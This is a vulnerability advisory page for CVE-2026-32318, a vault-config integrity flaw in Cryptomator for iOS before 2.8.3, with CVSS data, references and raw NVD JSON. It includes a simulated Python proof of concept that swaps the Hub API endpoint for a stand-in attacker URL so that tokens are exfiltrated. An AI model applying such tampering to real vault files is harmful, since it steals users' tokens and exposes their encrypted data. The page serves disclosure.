Security Vulnerability Report
中文
CVE-2026-32318 CVSS 7.6 HIGH

CVE-2026-32318

Published: 2026-03-20 19:16:16
Last Modified: 2026-03-26 13:48:31

Description

Cryptomator for IOS offers multi-platform transparent client-side encryption for files in the cloud. Prior to version 2.8.3, an integrity check vulnerability allows an attacker tamper with the vault configuration file leading to a man-in-the-middle vulnerability in Hub key loading mechanism. Before this fix, the client trusted endpoints from the vault config without host authenticity checks, which could allow token exfiltration by mixing a legitimate auth endpoint with a malicious API endpoint. Impacted are users unlocking Hub-backed vaults with affected client versions in environments where an attacker can alter the vault.cryptomator file. This issue has been patched in version 2.8.3.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:cryptomator:cryptomator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - NOT VULNERABLE
Cryptomator for iOS < 2.8.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import json import os # PoC: Demonstration of vault.cryptomator tampering # This script simulates how an attacker might modify the configuration # to redirect API traffic to a malicious endpoint for token exfiltration. # Path to the target vault configuration file (hypothetical) CONFIG_FILE = "vault.cryptomator" # Original legitimate configuration structure (simplified for PoC) original_config = { "vaultId": "12345678-1234-1234-1234-123456789abc", "cipherCombo": "SIV_GCM", "shorteningThreshold": 220, "hub": { "backendId": "s3", "authenticationEndpoint": "https://auth.cryptomator.cloud", "apiEndpoint": "https://api.cryptomator.cloud" # Legitimate endpoint } } def tamper_with_config(file_path): """ Simulates the tampering of the vault configuration file. It replaces the legitimate API endpoint with a malicious one. """ print(f"[*] Reading configuration from {file_path}...") # In a real scenario, load the actual JSON file # with open(file_path, 'r') as f: # config = json.load(f) config = original_config.copy() print("[+] Original API Endpoint:", config["hub"]["apiEndpoint"]) # Define the malicious attacker-controlled endpoint malicious_endpoint = "https://evil-attacker-server.com/collect" # Tamper with the configuration config["hub"]["apiEndpoint"] = malicious_endpoint print(f"[!] Configuration tampered. New API Endpoint: {malicious_endpoint}") # Write the tampered config back (Simulated) # with open(file_path, 'w') as f: # json.dump(config, f, indent=4) print("[+] Tampered configuration written back to disk.") print("[*] Next time the user unlocks the vault, tokens will be sent to the malicious endpoint.") if __name__ == "__main__": # Check if file exists (simulation) if os.path.exists(CONFIG_FILE) or True: # forced True for demo tamper_with_config(CONFIG_FILE) else: print("[-] Vault configuration file not found.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32318", "sourceIdentifier": "[email protected]", "published": "2026-03-20T19:16:16.277", "lastModified": "2026-03-26T13:48:30.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cryptomator for IOS offers multi-platform transparent client-side encryption for files in the cloud. Prior to version 2.8.3, an integrity check vulnerability allows an attacker tamper with the vault configuration file leading to a man-in-the-middle vulnerability in Hub key loading mechanism. Before this fix, the client trusted endpoints from the vault config without host authenticity checks, which could allow token exfiltration by mixing a legitimate auth endpoint with a malicious API endpoint. Impacted are users unlocking Hub-backed vaults with affected client versions in environments where an attacker can alter the vault.cryptomator file. This issue has been patched in version 2.8.3."}, {"lang": "es", "value": "Cryptomator para iOS ofrece cifrado transparente multiplataforma del lado del cliente para archivos en la nube. Antes de la versión 2.8.3, una vulnerabilidad de verificación de integridad permite a un atacante manipular el archivo de configuración de la bóveda, lo que lleva a una vulnerabilidad de man-in-the-middle en el mecanismo de carga de claves de Hub. Antes de esta corrección, el cliente confiaba en los puntos finales de la configuración de la bóveda sin verificaciones de autenticidad del host, lo que podría permitir la exfiltración de tokens mezclando un punto final de autenticación legítimo con un punto final de API malicioso. Los usuarios afectados son aquellos que desbloquean bóvedas respaldadas por Hub con versiones de cliente afectadas en entornos donde un atacante puede alterar el archivo vault.cryptomator. Este problema ha sido parcheado en la versión 2.8.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-346"}, {"lang": "en", "value": "CWE-354"}, {"lang": "en", "value": "CWE-451"}, {"lang": "en", "value": "CWE-923"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cryptomator:cryptomator:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.8.2", "matchCriteriaId": "6E533214-6DC0-4F2C-A76C-D3A7CB0322FF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "matchCriteriaId": "340C4071-1447-477F-942A-8E09EA29F917"}]}]}], "references": [{"url": "https://github.com/cryptomator/ios/commit/98c31280304af65c0932eb547d5fe4be2d16929c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/cryptomator/ios/pull/444", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/cryptomator/ios/releases/tag/2.8.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/cryptomator/ios/security/advisories/GHSA-g7fr-c82r-hm6j", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}